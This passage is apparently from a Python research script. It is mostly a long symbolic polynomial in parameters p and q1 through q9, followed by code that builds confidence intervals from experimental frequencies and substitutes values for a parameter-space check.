600*p**3*q3**2*q4*q5*q6*q7**2 + 600*p**3*q3**2*q4*q5*q6*q7*q8 - 4200*p**3*q3**2*q4*q5*q6*q7 + 600*p**3*q3*q4**3*q5*q6*q7 + 600*p**3*q3*q4**2*q5**2*q6*q7 + 600*p**3*q3*q4**2*q5*q6**2*q7 + 600*p**3*q3*q4**2*q5*q6*q7**2 + 600*p**3*q3*q4**2*q5*q6*q7*q8 - 4200*p**3*q3*q4**2*q5*q6*q7 + 600*p**3*q3*q4*q5**3*q6*q7 + 600*p**3*q3*q4*q5**2*q6**2*q7 + 600*p**3*q3*q4*q5**2*q6*q7**2 + 600*p**3*q3*q4*q5**2*q6*q7*q8 - 4200*p**3*q3*q4*q5**2*q6*q7 + 600*p**3*q3*q4*q5*q6**3*q7 + 600*p**3*q3*q4*q5*q6**2*q7**2 + 600*p**3*q3*q4*q5*q6**2*q7*q8 - 4200*p**3*q3*q4*q5*q6**2*q7 + 600*p**3*q3*q4*q5*q6*q7**3 + 600*p**3*q3*q4*q5*q6*q7**2*q8 - 4200*p**3*q3*q4*q5*q6*q7**2 + 600*p**3*q3*q4*q5*q6*q7*q8**2 - 4200*p**3*q3*q4*q5*q6*q7*q8 + 12600*p**3*q3*q4*q5*q6*q7 - 210*p**3*q4**3*q5*q6*q7 - 210*p**3*q4**2*q5**2*q6*q7 - 210*p**3*q4**2*q5*q6**2*q7 - 210*p**3*q4**2*q5*q6*q7**2 - 210*p**3*q4**2*q5*q6*q7*q8 + 1260*p**3*q4**2*q5*q6*q7 - 210*p**3*q4*q5**3*q6*q7 - 210*p**3*q4*q5**2*q6**2*q7 - 210*p**3*q4*q5**2*q6*q7**2 - 210*p**3*q4*q5**2*q6*q7*q8 + 1260*p**3*q4*q5**2*q6*q7 - 210*p**3*q4*q5*q6**3*q7 - 210*p**3*q4*q5*q6**2*q7**2 - 210*p**3*q4*q5*q6**2*q7*q8 + 1260*p**3*q4*q5*q6**2*q7 - 210*p**3*q4*q5*q6*q7**3 - 210*p**3*q4*q5*q6*q7**2*q8 + 1260*p**3*q4*q5*q6*q7**2 - 210*p**3*q4*q5*q6*q7*q8**2 + 1260*p**3*q4*q5*q6*q7*q8 - 3150*p**3*q4*q5*q6*q7 - 210*p**2*q1**3*q2*q3*q4*q5*q6*q7 - 210*p**2*q1**2*q2**2*q3*q4*q5*q6*q7 - 210*p**2*q1**2*q2*q3**2*q4*q5*q6*q7 - 210*p**2*q1**2*q2*q3*q4**2*q5*q6*q7 - 210*p**2*q1**2*q2*q3*q4*q5**2*q6*q7 - 210*p**2*q1**2*q2*q3*q4*q5*q6**2*q7 - 210*p**2*q1**2*q2*q3*q4*q5*q6*q7**2 - 210*p**2*q1**2*q2*q3*q4*q5*q6*q7*q8 + 1890*p**2*q1**2*q2*q3*q4*q5*q6*q7 - 210*p**2*q1*q2**3*q3*q4*q5*q6*q7 - 210*p**2*q1*q2**2*q3**2*q4*q5*q6*q7 - 210*p**2*q1*q2**2*q3*q4**2*q5*q6*q7 - 210*p**2*q1*q2**2*q3*q4*q5**2*q6*q7 - 210*p**2*q1*q2**2*q3*q4*q5*q6**2*q7 - 210*p**2*q1*q2**2*q3*q4*q5*q6*q7**2 - 210*p**2*q1*q2**2*q3*q4*q5*q6*q7*q8 + 1890*p**2*q1*q2**2*q3*q4*q5*q6*q7 - 210*p**2*q1*q2*q3**3*q4*q5*q6*q7 - 210*p**2*q1*q2*q3**2*q4**2*q5*q6*q7 - 210*p**2*q1*q2*q3**2*q4*q5**2*q6*q7 - 210*p**2*q1*q2*q3**2*q4*q5*q6**2*q7 - 210*p**2*q1*q2*q3**2*q4*q5*q6*q7**2 - 210*p**2*q1*q2*q3**2*q4*q5*q6*q7*q8 + 1890*p**2*q1*q2*q3**2*q4*q5*q6*q7 - 210*p**2*q1*q2*q3*q4**3*q5*q6*q7 - 210*p**2*q1*q2*q3*q4**2*q5**2*q6*q7 - 210*p**2*q1*q2*q3*q4**2*q5*q6**2*q7 - 210*p**2*q1*q2*q3*q4**2*q5*q6*q7**2 - 210*p**2*q1*q2*q3*q4**2*q5*q6*q7*q8 + 1890*p**2*q1*q2*q3*q4**2*q5*q6*q7 - 210*p**2*q1*q2*q3*q4*q5**3*q6*q7 - 210*p**2*q1*q2*q3*q4*q5**2*q6**2*q7 - 210*p**2*q1*q2*q3*q4*q5**2*q6*q7**2 - 210*p**2*q1*q2*q3*q4*q5**2*q6*q7*q8 + 1890*p**2*q1*q2*q3*q4*q5**2*q6*q7 - 210*p**2*q1*q2*q3*q4*q5*q6**3*q7 - 210*p**2*q1*q2*q3*q4*q5*q6**2*q7**2 - 210*p**2*q1*q2*q3*q4*q5*q6**2*q7*q8 + 1890*p**2*q1*q2*q3*q4*q5*q6**2*q7 - 210*p**2*q1*q2*q3*q4*q5*q6*q7**3 - 210*p**2*q1*q2*q3*q4*q5*q6*q7**2*q8 + 1890*p**2*q1*q2*q3*q4*q5*q6*q7**2 - 210*p**2*q1*q2*q3*q4*q5*q6*q7*q8**2 + 1890*p**2*q1*q2*q3*q4*q5*q6*q7*q8 - 7560*p**2*q1*q2*q3*q4*q5*q6*q7 + 270*p**2*q2**3*q3*q4*q5*q6*q7 + 270*p**2*q2**2*q3**2*q4*q5*q6*q7 + 270*p**2*q2**2*q3*q4**2*q5*q6*q7 + 270*p**2*q2**2*q3*q4*q5**2*q6*q7 + 270*p**2*q2**2*q3*q4*q5*q6**2*q7 + 270*p**2*q2**2*q3*q4*q5*q6*q7**2 + 270*p**2*q2**2*q3*q4*q5*q6*q7*q8 - 2160*p**2*q2**2*q3*q4*q5*q6*q7 + 270*p**2*q2*q3**3*q4*q5*q6*q7 + 270*p**2*q2*q3**2*q4**2*q5*q6*q7 + 270*p**2*q2*q3**2*q4*q5**2*q6*q7 + 270*p**2*q2*q3**2*q4*q5*q6**2*q7 + 270*p**2*q2*q3**2*q4*q5*q6*q7**2 + 270*p**2*q2*q3**2*q4*q5*q6*q7*q8 - 2160*p**2*q2*q3**2*q4*q5*q6*q7 + 270*p**2*q2*q3*q4**3*q5*q6*q7 + 270*p**2*q2*q3*q4**2*q5**2*q6*q7 + 270*p**2*q2*q3*q4**2*q5*q6**2*q7 + 270*p**2*q2*q3*q4**2*q5*q6*q7**2 + 270*p**2*q2*q3*q4**2*q5*q6*q7*q8 - 2160*p**2*q2*q3*q4**2*q5*q6*q7 + 270*p**2*q2*q3*q4*q5**3*q6*q7 + 270*p**2*q2*q3*q4*q5**2*q6**2*q7 + 270*p**2*q2*q3*q4*q5**2*q6*q7**2 + 270*p**2*q2*q3*q4*q5**2*q6*q7*q8 - 2160*p**2*q2*q3*q4*q5**2*q6*q7 + 270*p**2*q2*q3*q4*q5*q6**3*q7 + 270*p**2*q2*q3*q4*q5*q6**2*q7**2 + 270*p**2*q2*q3*q4*q5*q6**2*q7*q8 - 2160*p**2*q2*q3*q4*q5*q6**2*q7 + 270*p**2*q2*q3*q4*q5*q6*q7**3 + 270*p**2*q2*q3*q4*q5*q6*q7**2*q8 - 2160*p**2*q2*q3*q4*q5*q6*q7**2 + 270*p**2*q2*q3*q4*q5*q6*q7*q8**2 - 2160*p**2*q2*q3*q4*q5*q6*q7*q8 + 7560*p**2*q2*q3*q4*q5*q6*q7 - 120*p**2*q3**3*q4*q5*q6*q7 - 120*p**2*q3**2*q4**2*q5*q6*q7 - 120*p**2*q3**2*q4*q5**2*q6*q7 - 120*p**2*q3**2*q4*q5*q6**2*q7 - 120*p**2*q3**2*q4*q5*q6*q7**2 - 120*p**2*q3**2*q4*q5*q6*q7*q8 + 840*p**2*q3**2*q4*q5*q6*q7 - 120*p**2*q3*q4**3*q5*q6*q7 - 120*p**2*q3*q4**2*q5**2*q6*q7 - 120*p**2*q3*q4**2*q5*q6**2*q7 - 120*p**2*q3*q4**2*q5*q6*q7**2 - 120*p**2*q3*q4**2*q5*q6*q7*q8 + 840*p**2*q3*q4**2*q5*q6*q7 - 120*p**2*q3*q4*q5**3*q6*q7 - 120*p**2*q3*q4*q5**2*q6**2*q7 - 120*p**2*q3*q4*q5**2*q6*q7**2 - 120*p**2*q3*q4*q5**2*q6*q7*q8 + 840*p**2*q3*q4*q5**2*q6*q7 - 120*p**2*q3*q4*q5*q6**3*q7 - 120*p**2*q3*q4*q5*q6**2*q7**2 - 120*p**2*q3*q4*q5*q6**2*q7*q8 + 840*p**2*q3*q4*q5*q6**2*q7 - 120*p**2*q3*q4*q5*q6*q7**3 - 120*p**2*q3*q4*q5*q6*q7**2*q8 + 840*p**2*q3*q4*q5*q6*q7**2 - 120*p**2*q3*q4*q5*q6*q7*q8**2 + 840*p**2*q3*q4*q5*q6*q7*q8 - 2520*p**2*q3*q4*q5*q6*q7 + 70*p*q1**3*q2*q3*q4*q5*q6*q7 + 70*p*q1**2*q2**2*q3*q4*q5*q6*q7 + 70*p*q1**2*q2*q3**2*q4*q5*q6*q7 + 70*p*q1**2*q2*q3*q4**2*q5*q6*q7 + 70*p*q1**2*q2*q3*q4*q5**2*q6*q7 + 70*p*q1**2*q2*q3*q4*q5*q6**2*q7 + 70*p*q1**2*q2*q3*q4*q5*q6*q7**2 + 70*p*q1**2*q2*q3*q4*q5*q6*q7*q8 - 630*p*q1**2*q2*q3*q4*q5*q6*q7 + 70*p*q1*q2**3*q3*q4*q5*q6*q7 + 70*p*q1*q2**2*q3**2*q4*q5*q6*q7 + 70*p*q1*q2**2*q3*q4**2*q5*q6*q7 + 70*p*q1*q2**2*q3*q4*q5**2*q6*q7 + 70*p*q1*q2**2*q3*q4*q5*q6**2*q7 + 70*p*q1*q2**2*q3*q4*q5*q6*q7**2 + 70*p*q1*q2**2*q3*q4*q5*q6*q7*q8 - 630*p*q1*q2**2*q3*q4*q5*q6*q7 + 70*p*q1*q2*q3**3*q4*q5*q6*q7 + 70*p*q1*q2*q3**2*q4**2*q5*q6*q7 + 70*p*q1*q2*q3**2*q4*q5**2*q6*q7 + 70*p*q1*q2*q3**2*q4*q5*q6**2*q7 + 70*p*q1*q2*q3**2*q4*q5*q6*q7**2 + 70*p*q1*q2*q3**2*q4*q5*q6*q7*q8 - 630*p*q1*q2*q3**2*q4*q5*q6*q7 + 70*p*q1*q2*q3*q4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*q7*q8 + 10*p**8*q1*q2*q3*q4*q5*q6**2*q7*q8 + 10*p**8*q1*q2*q3*q4*q5*q6*q7**2*q8 + 10*p**8*q1*q2*q3*q4*q5*q6*q7*q8**2 + 10*p**8*q1*q2*q3*q4*q5*q6*q7*q8*q9 - 90*p**8*q1*q2*q3*q4*q5*q6*q7*q8 - 45*p**8*q2**2*q3*q4*q5*q6*q7*q8 - 45*p**8*q2*q3**2*q4*q5*q6*q7*q8 - 45*p**8*q2*q3*q4**2*q5*q6*q7*q8 - 45*p**8*q2*q3*q4*q5**2*q6*q7*q8 - 45*p**8*q2*q3*q4*q5*q6**2*q7*q8 - 45*p**8*q2*q3*q4*q5*q6*q7**2*q8 - 45*p**8*q2*q3*q4*q5*q6*q7*q8**2 - 45*p**8*q2*q3*q4*q5*q6*q7*q8*q9 + 360*p**8*q2*q3*q4*q5*q6*q7*q8 + 120*p**8*q3**2*q4*q5*q6*q7*q8 + 120*p**8*q3*q4**2*q5*q6*q7*q8 + 120*p**8*q3*q4*q5**2*q6*q7*q8 + 120*p**8*q3*q4*q5*q6**2*q7*q8 + 120*p**8*q3*q4*q5*q6*q7**2*q8 + 120*p**8*q3*q4*q5*q6*q7*q8**2 + 120*p**8*q3*q4*q5*q6*q7*q8*q9 - 840*p**8*q3*q4*q5*q6*q7*q8 - 210*p**8*q4**2*q5*q6*q7*q8 - 210*p**8*q4*q5**2*q6*q7*q8 - 210*p**8*q4*q5*q6**2*q7*q8 - 210*p**8*q4*q5*q6*q7**2*q8 - 210*p**8*q4*q5*q6*q7*q8**2 - 210*p**8*q4*q5*q6*q7*q8*q9 + 1260*p**8*q4*q5*q6*q7*q8 + 252*p**8*q5**2*q6*q7*q8 + 252*p**8*q5*q6**2*q7*q8 + 252*p**8*q5*q6*q7**2*q8 + 252*p**8*q5*q6*q7*q8**2 + 252*p**8*q5*q6*q7*q8*q9 - 1260*p**8*q5*q6*q7*q8 - 210*p**8*q6**2*q7*q8 - 210*p**8*q6*q7**2*q8 - 210*p**8*q6*q7*q8**2 - 210*p**8*q6*q7*q8*q9 + 840*p**8*q6*q7*q8 + 120*p**8*q7**2*q8 + 120*p**8*q7*q8**2 + 120*p**8*q7*q8*q9 - 360*p**8*q7*q8 - 45*p**8*q8**2 - 45*p**8*q8*q9 + 90*p**8*q8 + 10*p**8*q9 - 10*p**8 - 80*p**7*q1**2*q2*q3*q4*q5*q6*q7*q8 - 80*p**7*q1*q2**2*q3*q4*q5*q6*q7*q8 - 80*p**7*q1*q2*q3**2*q4*q5*q6*q7*q8 - 80*p**7*q1*q2*q3*q4**2*q5*q6*q7*q8 - 80*p**7*q1*q2*q3*q4*q5**2*q6*q7*q8 - 80*p**7*q1*q2*q3*q4*q5*q6**2*q7*q8 - 80*p**7*q1*q2*q3*q4*q5*q6*q7**2*q8 - 80*p**7*q1*q2*q3*q4*q5*q6*q7*q8**2 - 80*p**7*q1*q2*q3*q4*q5*q6*q7*q8*q9 + 720*p**7*q1*q2*q3*q4*q5*q6*q7*q8 + 315*p**7*q2**2*q3*q4*q5*q6*q7*q8 + 315*p**7*q2*q3**2*q4*q5*q6*q7*q8 + 315*p**7*q2*q3*q4**2*q5*q6*q7*q8 + 315*p**7*q2*q3*q4*q5**2*q6*q7*q8 + 315*p**7*q2*q3*q4*q5*q6**2*q7*q8 + 315*p**7*q2*q3*q4*q5*q6*q7**2*q8 + 315*p**7*q2*q3*q4*q5*q6*q7*q8**2 + 315*p**7*q2*q3*q4*q5*q6*q7*q8*q9 - 2520*p**7*q2*q3*q4*q5*q6*q7*q8 - 720*p**7*q3**2*q4*q5*q6*q7*q8 - 720*p**7*q3*q4**2*q5*q6*q7*q8 - 720*p**7*q3*q4*q5**2*q6*q7*q8 - 720*p**7*q3*q4*q5*q6**2*q7*q8 - 720*p**7*q3*q4*q5*q6*q7**2*q8 - 720*p**7*q3*q4*q5*q6*q7*q8**2 - 720*p**7*q3*q4*q5*q6*q7*q8*q9 + 5040*p**7*q3*q4*q5*q6*q7*q8 + 1050*p**7*q4**2*q5*q6*q7*q8 + 1050*p**7*q4*q5**2*q6*q7*q8 + 1050*p**7*q4*q5*q6**2*q7*q8 + 1050*p**7*q4*q5*q6*q7**2*q8 + 1050*p**7*q4*q5*q6*q7*q8**2 + 1050*p**7*q4*q5*q6*q7*q8*q9 - 6300*p**7*q4*q5*q6*q7*q8 - 1008*p**7*q5**2*q6*q7*q8 - 1008*p**7*q5*q6**2*q7*q8 - 1008*p**7*q5*q6*q7**2*q8 - 1008*p**7*q5*q6*q7*q8**2 - 1008*p**7*q5*q6*q7*q8*q9 + 5040*p**7*q5*q6*q7*q8 + 630*p**7*q6**2*q7*q8 + 630*p**7*q6*q7**2*q8 + 630*p**7*q6*q7*q8**2 + 630*p**7*q6*q7*q8*q9 - 2520*p**7*q6*q7*q8 - 240*p**7*q7**2*q8 - 240*p**7*q7*q8**2 - 240*p**7*q7*q8*q9 + 720*p**7*q7*q8 + 45*p**7*q8**2 + 45*p**7*q8*q9 - 90*p**7*q8 + 280*p**6*q1**2*q2*q3*q4*q5*q6*q7*q8 + 280*p**6*q1*q2**2*q3*q4*q5*q6*q7*q8 + 280*p**6*q1*q2*q3**2*q4*q5*q6*q7*q8 + 280*p**6*q1*q2*q3*q4**2*q5*q6*q7*q8 + 280*p**6*q1*q2*q3*q4*q5**2*q6*q7*q8 + 280*p**6*q1*q2*q3*q4*q5*q6**2*q7*q8 + 280*p**6*q1*q2*q3*q4*q5*q6*q7**2*q8 + 280*p**6*q1*q2*q3*q4*q5*q6*q7*q8**2 + 280*p**6*q1*q2*q3*q4*q5*q6*q7*q8*q9 - 2520*p**6*q1*q2*q3*q4*q5*q6*q7*q8 - 945*p**6*q2**2*q3*q4*q5*q6*q7*q8 - 945*p**6*q2*q3**2*q4*q5*q6*q7*q8 - 945*p**6*q2*q3*q4**2*q5*q6*q7*q8 - 945*p**6*q2*q3*q4*q5**2*q6*q7*q8 - 945*p**6*q2*q3*q4*q5*q6**2*q7*q8 - 945*p**6*q2*q3*q4*q5*q6*q7**2*q8 - 945*p**6*q2*q3*q4*q5*q6*q7*q8**2 - 945*p**6*q2*q3*q4*q5*q6*q7*q8*q9 + 7560*p**6*q2*q3*q4*q5*q6*q7*q8 + 1800*p**6*q3**2*q4*q5*q6*q7*q8 + 1800*p**6*q3*q4**2*q5*q6*q7*q8 + 1800*p**6*q3*q4*q5**2*q6*q7*q8 + 1800*p**6*q3*q4*q5*q6**2*q7*q8 + 1800*p**6*q3*q4*q5*q6*q7**2*q8 + 1800*p**6*q3*q4*q5*q6*q7*q8**2 + 1800*p**6*q3*q4*q5*q6*q7*q8*q9 - 12600*p**6*q3*q4*q5*q6*q7*q8 - 2100*p**6*q4**2*q5*q6*q7*q8 - 2100*p**6*q4*q5**2*q6*q7*q8 - 2100*p**6*q4*q5*q6**2*q7*q8 - 2100*p**6*q4*q5*q6*q7**2*q8 - 2100*p**6*q4*q5*q6*q7*q8**2 - 2100*p**6*q4*q5*q6*q7*q8*q9 + 12600*p**6*q4*q5*q6*q7*q8 + 1512*p**6*q5**2*q6*q7*q8 + 1512*p**6*q5*q6**2*q7*q8 + 1512*p**6*q5*q6*q7**2*q8 + 1512*p**6*q5*q6*q7*q8**2 + 1512*p**6*q5*q6*q7*q8*q9 - 7560*p**6*q5*q6*q7*q8 - 630*p**6*q6**2*q7*q8 - 630*p**6*q6*q7**2*q8 - 630*p**6*q6*q7*q8**2 - 630*p**6*q6*q7*q8*q9 + 2520*p**6*q6*q7*q8 + 120*p**6*q7**2*q8 + 120*p**6*q7*q8**2 + 120*p**6*q7*q8*q9 - 360*p**6*q7*q8 - 560*p**5*q1**2*q2*q3*q4*q5*q6*q7*q8 - 560*p**5*q1*q2**2*q3*q4*q5*q6*q7*q8 - 560*p**5*q1*q2*q3**2*q4*q5*q6*q7*q8 - 560*p**5*q1*q2*q3*q4**2*q5*q6*q7*q8 - 560*p**5*q1*q2*q3*q4*q5**2*q6*q7*q8 - 560*p**5*q1*q2*q3*q4*q5*q6**2*q7*q8 - 560*p**5*q1*q2*q3*q4*q5*q6*q7**2*q8 - 560*p**5*q1*q2*q3*q4*q5*q6*q7*q8**2 - 560*p**5*q1*q2*q3*q4*q5*q6*q7*q8*q9 + 5040*p**5*q1*q2*q3*q4*q5*q6*q7*q8 + 1575*p**5*q2**2*q3*q4*q5*q6*q7*q8 + 1575*p**5*q2*q3**2*q4*q5*q6*q7*q8 + 1575*p**5*q2*q3*q4**2*q5*q6*q7*q8 + 1575*p**5*q2*q3*q4*q5**2*q6*q7*q8 + 1575*p**5*q2*q3*q4*q5*q6**2*q7*q8 + 1575*p**5*q2*q3*q4*q5*q6*q7**2*q8 + 1575*p**5*q2*q3*q4*q5*q6*q7*q8**2 + 1575*p**5*q2*q3*q4*q5*q6*q7*q8*q9 - 12600*p**5*q2*q3*q4*q5*q6*q7*q8 - 2400*p**5*q3**2*q4*q5*q6*q7*q8 - 2400*p**5*q3*q4**2*q5*q6*q7*q8 - 2400*p**5*q3*q4*q5**2*q6*q7*q8 - 2400*p**5*q3*q4*q5*q6**2*q7*q8 - 2400*p**5*q3*q4*q5*q6*q7**2*q8 - 2400*p**5*q3*q4*q5*q6*q7*q8**2 - 2400*p**5*q3*q4*q5*q6*q7*q8*q9 + 16800*p**5*q3*q4*q5*q6*q7*q8 + 2100*p**5*q4**2*q5*q6*q7*q8 + 2100*p**5*q4*q5**2*q6*q7*q8 + 2100*p**5*q4*q5*q6**2*q7*q8 + 2100*p**5*q4*q5*q6*q7**2*q8 + 2100*p**5*q4*q5*q6*q7*q8**2 + 2100*p**5*q4*q5*q6*q7*q8*q9 - 12600*p**5*q4*q5*q6*q7*q8 - 1008*p**5*q5**2*q6*q7*q8 - 1008*p**5*q5*q6**2*q7*q8 - 1008*p**5*q5*q6*q7**2*q8 - 1008*p**5*q5*q6*q7*q8**2 - 1008*p**5*q5*q6*q7*q8*q9 + 5040*p**5*q5*q6*q7*q8 + 210*p**5*q6**2*q7*q8 + 210*p**5*q6*q7**2*q8 + 210*p**5*q6*q7*q8**2 + 210*p**5*q6*q7*q8*q9 - 840*p**5*q6*q7*q8 + 700*p**4*q1**2*q2*q3*q4*q5*q6*q7*q8 + 700*p**4*q1*q2**2*q3*q4*q5*q6*q7*q8 + 700*p**4*q1*q2*q3**2*q4*q5*q6*q7*q8 + 700*p**4*q1*q2*q3*q4**2*q5*q6*q7*q8 + 700*p**4*q1*q2*q3*q4*q5**2*q6*q7*q8 + 700*p**4*q1*q2*q3*q4*q5*q6**2*q7*q8 + 700*p**4*q1*q2*q3*q4*q5*q6*q7**2*q8 + 700*p**4*q1*q2*q3*q4*q5*q6*q7*q8**2 + 700*p**4*q1*q2*q3*q4*q5*q6*q7*q8*q9 - 6300*p**4*q1*q2*q3*q4*q5*q6*q7*q8 - 1575*p**4*q2**2*q3*q4*q5*q6*q7*q8 - 1575*p**4*q2*q3**2*q4*q5*q6*q7*q8 - 1575*p**4*q2*q3*q4**2*q5*q6*q7*q8 - 1575*p**4*q2*q3*q4*q5**2*q6*q7*q8 - 1575*p**4*q2*q3*q4*q5*q6**2*q7*q8 - 1575*p**4*q2*q3*q4*q5*q6*q7**2*q8 - 1575*p**4*q2*q3*q4*q5*q6*q7*q8**2 - 1575*p**4*q2*q3*q4*q5*q6*q7*q8*q9 + 12600*p**4*q2*q3*q4*q5*q6*q7*q8 + 1800*p**4*q3**2*q4*q5*q6*q7*q8 + 1800*p**4*q3*q4**2*q5*q6*q7*q8 + 1800*p**4*q3*q4*q5**2*q6*q7*q8 + 1800*p**4*q3*q4*q5*q6**2*q7*q8 + 1800*p**4*q3*q4*q5*q6*q7**2*q8 + 1800*p**4*q3*q4*q5*q6*q7*q8**2 + 1800*p**4*q3*q4*q5*q6*q7*q8*q9 - 12600*p**4*q3*q4*q5*q6*q7*q8 - 1050*p**4*q4**2*q5*q6*q7*q8 - 1050*p**4*q4*q5**2*q6*q7*q8 - 1050*p**4*q4*q5*q6**2*q7*q8 - 1050*p**4*q4*q5*q6*q7**2*q8 - 1050*p**4*q4*q5*q6*q7*q8**2 - 1050*p**4*q4*q5*q6*q7*q8*q9 + 6300*p**4*q4*q5*q6*q7*q8 + 252*p**4*q5**2*q6*q7*q8 + 252*p**4*q5*q6**2*q7*q8 + 252*p**4*q5*q6*q7**2*q8 + 252*p**4*q5*q6*q7*q8**2 + 252*p**4*q5*q6*q7*q8*q9 - 1260*p**4*q5*q6*q7*q8 - 560*p**3*q1**2*q2*q3*q4*q5*q6*q7*q8 - 560*p**3*q1*q2**2*q3*q4*q5*q6*q7*q8 - 560*p**3*q1*q2*q3**2*q4*q5*q6*q7*q8 - 560*p**3*q1*q2*q3*q4**2*q5*q6*q7*q8 - 560*p**3*q1*q2*q3*q4*q5**2*q6*q7*q8 - 560*p**3*q1*q2*q3*q4*q5*q6**2*q7*q8 - 560*p**3*q1*q2*q3*q4*q5*q6*q7**2*q8 - 560*p**3*q1*q2*q3*q4*q5*q6*q7*q8**2 - 560*p**3*q1*q2*q3*q4*q5*q6*q7*q8*q9 + 5040*p**3*q1*q2*q3*q4*q5*q6*q7*q8 + 945*p**3*q2**2*q3*q4*q5*q6*q7*q8 + 945*p**3*q2*q3**2*q4*q5*q6*q7*q8 + 945*p**3*q2*q3*q4**2*q5*q6*q7*q8 + 945*p**3*q2*q3*q4*q5**2*q6*q7*q8 + 945*p**3*q2*q3*q4*q5*q6**2*q7*q8 + 945*p**3*q2*q3*q4*q5*q6*q7**2*q8 + 945*p**3*q2*q3*q4*q5*q6*q7*q8**2 + 945*p**3*q2*q3*q4*q5*q6*q7*q8*q9 - 7560*p**3*q2*q3*q4*q5*q6*q7*q8 - 720*p**3*q3**2*q4*q5*q6*q7*q8 - 720*p**3*q3*q4**2*q5*q6*q7*q8 - 720*p**3*q3*q4*q5**2*q6*q7*q8 - 720*p**3*q3*q4*q5*q6**2*q7*q8 - 720*p**3*q3*q4*q5*q6*q7**2*q8 - 720*p**3*q3*q4*q5*q6*q7*q8**2 - 720*p**3*q3*q4*q5*q6*q7*q8*q9 + 5040*p**3*q3*q4*q5*q6*q7*q8 + 210*p**3*q4**2*q5*q6*q7*q8 + 210*p**3*q4*q5**2*q6*q7*q8 + 210*p**3*q4*q5*q6**2*q7*q8 + 210*p**3*q4*q5*q6*q7**2*q8 + 210*p**3*q4*q5*q6*q7*q8**2 + 210*p**3*q4*q5*q6*q7*q8*q9 - 1260*p**3*q4*q5*q6*q7*q8 + 280*p**2*q1**2*q2*q3*q4*q5*q6*q7*q8 + 280*p**2*q1*q2**2*q3*q4*q5*q6*q7*q8 + 280*p**2*q1*q2*q3**2*q4*q5*q6*q7*q8 + 280*p**2*q1*q2*q3*q4**2*q5*q6*q7*q8 + 280*p**2*q1*q2*q3*q4*q5**2*q6*q7*q8 + 280*p**2*q1*q2*q3*q4*q5*q6**2*q7*q8 + 280*p**2*q1*q2*q3*q4*q5*q6*q7**2*q8 + 280*p**2*q1*q2*q3*q4*q5*q6*q7*q8**2 + 280*p**2*q1*q2*q3*q4*q5*q6*q7*q8*q9 - 2520*p**2*q1*q2*q3*q4*q5*q6*q7*q8 - 315*p**2*q2**2*q3*q4*q5*q6*q7*q8 - 315*p**2*q2*q3**2*q4*q5*q6*q7*q8 - 315*p**2*q2*q3*q4**2*q5*q6*q7*q8 - 315*p**2*q2*q3*q4*q5**2*q6*q7*q8 - 315*p**2*q2*q3*q4*q5*q6**2*q7*q8 - 315*p**2*q2*q3*q4*q5*q6*q7**2*q8 - 315*p**2*q2*q3*q4*q5*q6*q7*q8**2 - 315*p**2*q2*q3*q4*q5*q6*q7*q8*q9 + 2520*p**2*q2*q3*q4*q5*q6*q7*q8 + 120*p**2*q3**2*q4*q5*q6*q7*q8 + 120*p**2*q3*q4**2*q5*q6*q7*q8 + 120*p**2*q3*q4*q5**2*q6*q7*q8 + 120*p**2*q3*q4*q5*q6**2*q7*q8 + 120*p**2*q3*q4*q5*q6*q7**2*q8 + 120*p**2*q3*q4*q5*q6*q7*q8**2 + 120*p**2*q3*q4*q5*q6*q7*q8*q9 - 840*p**2*q3*q4*q5*q6*q7*q8 - 80*p*q1**2*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*q9 - 210*p**9*q6*q7*q8*q9 + 120*p**9*q7*q8*q9 - 45*p**9*q8*q9 + 10*p**9*q9 - p**9 - 90*p**8*q1*q2*q3*q4*q5*q6*q7*q8*q9 + 360*p**8*q2*q3*q4*q5*q6*q7*q8*q9 - 840*p**8*q3*q4*q5*q6*q7*q8*q9 + 1260*p**8*q4*q5*q6*q7*q8*q9 - 1260*p**8*q5*q6*q7*q8*q9 + 840*p**8*q6*q7*q8*q9 - 360*p**8*q7*q8*q9 + 90*p**8*q8*q9 - 10*p**8*q9 + 360*p**7*q1*q2*q3*q4*q5*q6*q7*q8*q9 - 1260*p**7*q2*q3*q4*q5*q6*q7*q8*q9 + 2520*p**7*q3*q4*q5*q6*q7*q8*q9 - 3150*p**7*q4*q5*q6*q7*q8*q9 + 2520*p**7*q5*q6*q7*q8*q9 - 1260*p**7*q6*q7*q8*q9 + 360*p**7*q7*q8*q9 - 45*p**7*q8*q9 - 840*p**6*q1*q2*q3*q4*q5*q6*q7*q8*q9 + 2520*p**6*q2*q3*q4*q5*q6*q7*q8*q9 - 4200*p**6*q3*q4*q5*q6*q7*q8*q9 + 4200*p**6*q4*q5*q6*q7*q8*q9 - 2520*p**6*q5*q6*q7*q8*q9 + 840*p**6*q6*q7*q8*q9 - 120*p**6*q7*q8*q9 + 1260*p**5*q1*q2*q3*q4*q5*q6*q7*q8*q9 - 3150*p**5*q2*q3*q4*q5*q6*q7*q8*q9 + 4200*p**5*q3*q4*q5*q6*q7*q8*q9 - 3150*p**5*q4*q5*q6*q7*q8*q9 + 1260*p**5*q5*q6*q7*q8*q9 - 210*p**5*q6*q7*q8*q9 - 1260*p**4*q1*q2*q3*q4*q5*q6*q7*q8*q9 + 2520*p**4*q2*q3*q4*q5*q6*q7*q8*q9 - 2520*p**4*q3*q4*q5*q6*q7*q8*q9 + 1260*p**4*q4*q5*q6*q7*q8*q9 - 252*p**4*q5*q6*q7*q8*q9 + 840*p**3*q1*q2*q3*q4*q5*q6*q7*q8*q9 - 1260*p**3*q2*q3*q4*q5*q6*q7*q8*q9 + 840*p**3*q3*q4*q5*q6*q7*q8*q9 - 210*p**3*q4*q5*q6*q7*q8*q9 - 360*p**2*q1*q2*q3*q4*q5*q6*q7*q8*q9 + 360*p**2*q2*q3*q4*q5*q6*q7*q8*q9 - 120*p**2*q3*q4*q5*q6*q7*q8*q9 + 90*p*q1*q2*q3*q4*q5*q6*q7*q8*q9 - 45*p*q2*q3*q4*q5*q6*q7*q8*q9 - 10*q1*q2*q3*q4*q5*q6*q7*q8*q9)' experiment = [0.33371428571428574, 0.16028571428571428, 0.22114285714285714, 0.17657142857142857, 0.08514285714285715, 0.019428571428571427, 0.0034285714285714284, 0.00028571428571428574, 0.0, 0.0, 0.0] n_samples = 3500 intervals = create_intervals_hsb(0.95, n_samples, experiment) replaced_f6 = f_multiparam[10][6].replace("p", "0.10400390625").replace("q1", "0.09326171875").replace("q2", "0.1064453125").replace("q3", "0.099609375").replace("q4", "0.072021484375") sys.setrecursionlimit(23000) start_time = time() # result6 = check_deeper([(0.0869140625000000, 0.112304687500000), (0, 1)], ineq_to_constraints([replaced_f6], [intervals[6]], 16, 0.01**3*0.5, 0.999, False, 5, show_space=show_space) ## TO RUN THIS 